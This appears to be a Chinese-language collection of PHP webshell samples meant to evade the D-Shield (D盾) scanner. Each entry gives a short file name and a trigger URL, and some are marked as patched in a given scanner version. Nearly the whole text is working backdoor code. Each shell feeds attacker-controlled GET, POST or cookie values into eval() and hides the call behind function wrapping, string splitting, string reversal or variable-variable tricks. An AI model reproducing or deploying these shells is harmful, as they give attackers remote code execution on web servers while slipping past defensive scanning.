日常积累，来源自T00ls论坛、先知社区、朋友分享、应急等. D盾v2.1.4.9

post ?1=phpinfo();

<?php

function b(){
    $a = $_POST[1];
    return $a;
}

function a(){
  eval(b());
}

a();

201900509_1.php

/?1=phpinfo();(已失效 - 2.1.4.9)

<?php
$m=$_GET['1'];
$a=mb_substr($m,0,1);
$b=mb_substr($m,1,9999);
eval($a.$b);
?>

20190419.php

/?jsha=phpinfo(); (已失效 - 2.1.4.8)

<?php
function _strint($key){
        return strrev($key);
}
function log1($log){
        lone(_strint(strrev($log)));
}
function lone($key){
        $str = "";
        return eval($str.$key.$str);
}
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
    foreach ($$_request as $_key=>$_value)
    {
        $$_key=  $_value;
    }
}
$id = isset($jsha) ? $id : 2;
log1($jsha);
?>

jsha.php